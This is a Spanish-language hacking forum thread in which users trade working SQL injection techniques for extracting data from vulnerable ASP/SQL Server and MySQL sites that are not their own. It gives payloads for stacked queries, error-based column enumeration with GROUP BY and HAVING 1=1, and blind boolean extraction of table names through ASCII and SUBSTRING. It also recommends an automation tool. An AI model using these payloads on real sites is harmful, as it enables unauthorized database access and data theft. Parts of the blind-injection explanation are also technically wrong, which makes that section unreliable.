Hola,
tengo un problema y es que en la mayoria de sitios en asp que usan sql server y son vulnerables, una vez he obtenido una sentencia válida me salta este error y no puedo axtraer ningun valor de la DB:
Conflicto de tipos de operandos: text es incompatible con int
Alguien sabe como solucionarlo?
saludos
cual es la sentecia que estas utilizando??
lo mas seguro es que estas utilizando UNION y estas intentando unir dos campos que son de diferente tipo
Yo tengo una duda XD
tengo un server MySQL, en un "apartado" podes poner la comilla simple y te da un error mostrando el resto de la consulta SQL, lo que quiero es averiguar el nombre de las tablas que hay para ver si puedo sacar "datos interesantes", me dejo hacer
'; show tables;
sin problemas :) pero no me mostro las tablas ¬¬, no marco error lo que indica que efectivamente, ejecuto el comando '
show tables
pero como hacer para mostrar esos datos en pantalla?
gracias! ñ_ñ
PD: seguro que esto va en hacking avanzado?
Trata SELECT name FROM sysobjects where name like "%u" o si no para mi la mejor forma siempre es tratar de explotar el error de sql y asi podremos obtener datos de la tabla. Ej: http://www.server.com/news.asp?id=[SQL] se puede explotar de mucha maneras resultado:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'NEWS.PageTitle' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/functions/dbfunctions.asp, line 185
Ya tenermos nuestro primer campo podemos usar el gruop by [Campo] hasta q la web de el resultado deseado
Ej:
http://www.server.com/news.asp?id=1%20group by NEWS.PageTitle
NEWS.PageTitle
NEWS <------ Tabla
PAgeTitle <------- Campo
Tambien se puede saber el nombre de cualquier campo usando una operacion usando un blind sql injection
Ej:
Al usar el la Ej: http://www.server.com/news.asp?id=1 and 1=1-- muestra un dato en la web el cual es verdadero
si utilizamos Ej: http://www.server.com/news.asp?id=1 and 1=2-- es falso muestra otro datos en la web
Ya que conocemos cual son las respuesta en los caso FALSE and TRUE podemos usar esta sentencia
AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)))<97
convierte a caract + minuscala + extrae + de la tabla una si la primera letra es < 97 en ascii asi tendremos un resultado de la primera letra
este proceso se puede repetir hasta encontra la primera letra del nombre de la tabla para la segunda solo cambiamos
AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,2)))<97 y continua el proceso hasta tener el nombre completo
este es un proceso largo por eso te recomiendo que uses sqlbrute para window que lo hace de manera automatica.
Espero que se a de tu ayuda y recuerda que hay miles de pagina con info sobre sql injection.
Pero si no solo dejame saber..... :)
encontre en inet otra forma xD
' having 1=1 --
entonces nos da un campo de la tabla :D ahora toca hacer
'%20GROUP%20BY%20tabla.camoErr1%20HAVING%201=1%20--
/* Luego */
'%20GROUP%20BY%20tabla.camoErr1,tabla.camoErr2%20HAVING%201=1%20--
y asi hasta obtener el nombre de los campos :D
ayudo mucho tu comentario seño [{O_o}]
thks
Azielito